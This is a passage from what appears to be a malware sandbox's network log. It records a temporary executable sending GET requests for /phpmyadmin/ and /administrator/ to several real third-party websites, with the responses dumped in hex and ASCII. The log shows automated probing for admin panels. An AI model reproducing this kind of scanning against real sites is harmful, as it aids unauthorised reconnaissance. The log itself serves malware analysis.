2023-12-20 02:13:24 UTC	4096	IN	Data Raw: 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 Data Ascii: m level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><li class

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	55114	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:24 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=r05krhip9pivgd16av2t5hbfc9; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:24 UTC	613	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 34 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:24 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 33 63 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cde<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 32 63 34 39 32 62 37 66 35 33 36 35 34 64 33 30 34 63 32 66 36 61 34 63 35 30 36 32 37 30 36 63 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"2c492b7f53654d304c2f6a4c5062706c",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 32 63 34 39 32 62 37 66 35 33 36 35 34 64 33 30 34 63 32 66 36 61 34 63 35 30 36 32 37 30 36 63 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="2c492b7f53654d304c2f6a4c5062706c"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	55051	65.8.178.81	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	187	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	1761	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:24 GMT Cache-Control: public, max-age=31536000 access-control-allow-origin: * access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: Content-Type content-security-policy-report-only: default-src 'self' *.a8b.co strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self) x-frame-options: SAMEORIGIN x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 3088559317e5c464292d9249b963bdb8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: HnNIiLDFj7J5oYHvommE2W3sL7F8QSyB9DWKql91ECLNUrvx5_xpaA==
2023-12-20 02:13:24 UTC	8943	IN	Data Raw: 32 32 65 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 61 38 62 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 22e7<!DOCTYPE html><html lang="en"><head> <link rel="preconnect" href="https://ajax.googleapis.com" /> <link rel="preconnect" href="https://code.a8b.co/" /> <link rel="preload" as="image" href="/images/logo.png"> <link rel="preconnect
2023-12-20 02:13:24 UTC	2650	IN	Data Raw: 61 35 33 0d 0a 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 75 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 2c 69 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 74 2e 73 74 61 74 65 21 3d 3d 6c 26 26 74 2e 63 73 73 52 65 74 72 69 65 73 3c 3d 32 30 29 7b 66 6f 72 28 76 61 72 20 69 3d 30 2c 66 3d 72 2e 73 74 79 6c 65 53 68 65 65 74 73 2e 6c 65 6e 67 74 68 3b 69 3c 66 3b 69 2b 2b 29 69 66 28 72 2e 73 74 79 6c 65 53 68 65 65 74 73 5b 69 5d 2e 68 72 65 66 3d 3d 3d 75 2e 68 72 65 66 29 7b 6f 28 7b 74 79 70 65 3a 22 6c 6f 61 64 22 7d 29 3b 72 65 74 75 72 6e 7d 74 2e 63 73 73 52 65 74 72 69 65 73 2b 2b 3b 74 2e 63 73 73 54 69 6d 65 6f 75 74 3d 6e 2e 73 65 74 54 69 6d 65 6f 75 74 28 73 2c 32 35 30 29 7d 7d 76 61 72 20 75 2c 68 2c 66 3b 69 3d Data Ascii: a53.onreadystatechange=u.onerror=null,i())}function s(){if(t.state!==l&&t.cssRetries<=20){for(var i=0,f=r.styleSheets.length;i<f;i++)if(r.styleSheets[i].href===u.href){o({type:"load"});return}t.cssRetries++;t.cssTimeout=n.setTimeout(s,250)}}var u,h,f;i=
2023-12-20 02:13:24 UTC	12453	IN	Data Raw: 33 30 39 64 0d 0a 65 2e 6d 69 6e 2e 6a 73 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 2e 63 61 72 6f 75 73 65 6c 27 29 2e 63 79 63 6c 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 2f 2f 68 65 61 64 2e 6c 6f 61 64 0a 0a 20 20 20 20 20 20 20 20 68 65 61 64 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 61 5b 68 72 65 66 3d 22 23 22 5d 2c 2e 70 6f 73 74 3e 68 31 3e 61 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 Data Ascii: 309de.min.js', function () { $('.carousel').cycle(); }); //head.load head.ready(function () { $('a[href="#"],.post>h1>a').click(function (event) { event.preventDefault();
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	55211	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	734	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UqI9gxjZ0gaK6yQZNlKKDgtIv5Z7wvSLMkduJR5%2BClem229JJtDQAojwfAYmGt3RmndgNvaBNUGhIwcbXIFLDadkSTk%2Bl%2BRNOuzL4u5WC1jSxOcyVTFkXM0Xh7E0SXzS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dabeada8dd0-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:24 UTC	635	IN	Data Raw: 31 64 38 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 77 65 62 66 6c 6f 77 70 61 67 65 69 64 22 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 35 64 30 33 62 36 33 31 33 30 31 31 38 33 66 36 36 30 36 32 35 37 63 64 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 56 69 72 74 75 61 6c 20 52 65 61 6c 69 74 79 20 41 74 74 72 61 63 74 69 6f 6e 73 20 2d 20 4d 61 6a 6f 72 4d 65 67 61 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 57 65 20 63 6f 6d 62 69 6e 65 20 56 52 2c 20 6d 6f 74 69 6f 6e 20 73 69 6d 6c 75 61 74 69 6f 6e 20 61 6e 64 20 65 6e 76 69 72 6f 72 6e 6d 65 6e 74 61 6c 20 65 66 66 65 Data Ascii: 1d80<!DOCTYPE html><html data-wf-page="webflowpageid" data-wf-site="5d03b631301183f6606257cd"><head><meta charset="utf-8"><title>Virtual Reality Attractions - MajorMega</title><meta content="We combine VR, motion simluation and envirornmental effe
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 76 6a 65 31 6f 64 7a 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 54 79 70 65 6b 69 74 2e 6c 6f 61 64 28 29 3b 7d 63 61 74 63 68 28 65 29 7b 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a Data Ascii: a content="width=device-width, initial-scale=1" name="viewport"><script src="https://use.typekit.net/vje1odz.js" type="text/javascript"></script><script type="text/javascript">try{Typekit.load();}catch(e){}</script>... [if lt IE 9]><script src="https:
